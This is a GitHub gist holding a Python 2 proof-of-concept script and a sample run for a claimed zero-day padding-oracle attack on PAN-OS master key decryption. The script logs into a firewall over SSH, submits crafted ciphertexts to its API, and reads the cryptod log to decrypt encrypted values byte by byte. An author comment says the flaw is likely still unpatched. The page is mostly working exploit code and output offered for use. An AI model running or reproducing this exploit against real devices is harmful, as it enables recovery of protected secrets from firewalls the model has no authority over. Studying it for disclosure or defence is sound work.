Skip to content

Instantly share code, notes, and snippets.

@rqu1
Last active February 15, 2024 19:00
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save rqu1/9c00e66ab30fac3a1160513dcf159c09 to your computer and use it in GitHub Desktop.
Save rqu1/9c00e66ab30fac3a1160513dcf159c09 to your computer and use it in GitHub Desktop.
0day padding oracle in PAN master key decryption
import paramiko
import sys
import requests
pad=lambda n: '\0'*(n+1)+(chr(16-n)*(16-n-1))
block_xor=lambda x,y: ''.join(chr(ord(a)^ord(b)) for a,b in zip(x,y))
byte_xor=lambda x,y,z: x[:y]+chr(ord(x[y])^z)+x[y+1:]
set_pad=lambda x,n: block_xor(pad(n), x)
def formatData(d):
return ("-AQ==AAAAAAAAAAAAAAAAAAAAAAAAAAA="+(d.encode('base64').replace('\n',''))).encode('base64').replace('\n','')
def makeRequest(ct, host):
requests.get('https://'+host+"/api?key={}".format(ct), verify=False)
def checkLog(chan):
chan.send("tail lines 2 mp-log cryptod.log\n")
data=''
while data.count('Error: ')!=2:
try: data+=chan.recv(512)
except: pass
# correct padding!
return "Integrity check failed" in data
def leakBlock(b0, b1, chan, host):
pt='\0'*16
for i in range(15,-1, -1):
for j in range(255,-1,-1):
a=block_xor(pt, b0)
b=set_pad(a,i)
ct=formatData(byte_xor(b, i, j)+b1)
makeRequest(ct, host)
if checkLog(chan):
pt=byte_xor(pt, i, j^(16-i))
print(pt.encode('hex'))
break
else: print("no valid padding found... error")
return pt
def decrypt(stdout, ct, host):
if ct[0]=='-': ct=ct[33:]
# bonus points if you understand this line without google :)
blocks=map(''.join, zip(*[iter(ct.decode('base64'))]*16))[::-1]+['\0'*16]
result=[]
for i in range(len(blocks)-1):
result.insert(0, leakBlock(blocks[i+1], blocks[i], stdout, host))
print("Decrypted block: {}".format(result[-1]))
return ''.join(result)
if __name__=="__main__":
if len(sys.argv)<4:
print("usage: oracle.py <user> <pass> <host> <etext>")
exit(1)
u=sys.argv[1]
p=sys.argv[2]
h=sys.argv[3]
ct=sys.argv[4]
client=paramiko.client.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(h,22, username=u, password=p)
chan=client.invoke_shell()
chan.settimeout(0.1)
try: chan.recv(1024)
except: pass
print("decrypted message: ")
print(decrypt(chan, ct, h).encode('hex'))
@rqu1
Copy link
Author

rqu1 commented Aug 4, 2022

POC:

$ python2 oracle.py 'admin' 'admin' 'panw.local' '-AQ==/ibCY9jTP/QftZUYGSrefhdqVIE=9ibcTBO0RfLtG8tV6n0EhxNcbaD+2ujpU+OkofPSo64='                                
decrypted message:
/usr/lib/python2.7/dist-packages/urllib3/connectionpool.py:845: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
00000000000000000000000000000010
00000000000000000000000000001010
00000000000000000000000000101010
00000000000000000000000010101010
00000000000000000000001010101010
00000000000000000000101010101010
00000000000000000010101010101010
00000000000000001010101010101010
00000000000000101010101010101010
00000000000010101010101010101010
00000000001010101010101010101010
00000000101010101010101010101010
00000010101010101010101010101010
00001010101010101010101010101010
00101010101010101010101010101010
10101010101010101010101010101010
Decrypted block:
00000000000000000000000000000021
00000000000000000000000000007421
00000000000000000000000000657421
0000000000000000000000006e657421
0000000000000000000000616e657421
000000000000000000006c616e657421
000000000000000000706c616e657421
000000000000000020706c616e657421
000000000000006520706c616e657421
000000000000686520706c616e657421
000000000074686520706c616e657421
000000002074686520706c616e657421
0000006b2074686520706c616e657421
0000636b2074686520706c616e657421
0061636b2074686520706c616e657421
6861636b2074686520706c616e657421
Decrypted block:
6861636b2074686520706c616e65742110101010101010101010101010101010

@rqu1
Copy link
Author

rqu1 commented Aug 4, 2022

tested on a pretty old system (9.1.0) since that's what I have running at the moment, so no guarantees that things haven't changed in a way that will break this script. That said, there's no security advisory about padding oracles in PAN-OS, so even if this script doesn't work as-is, the vulnerability is probably still present.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment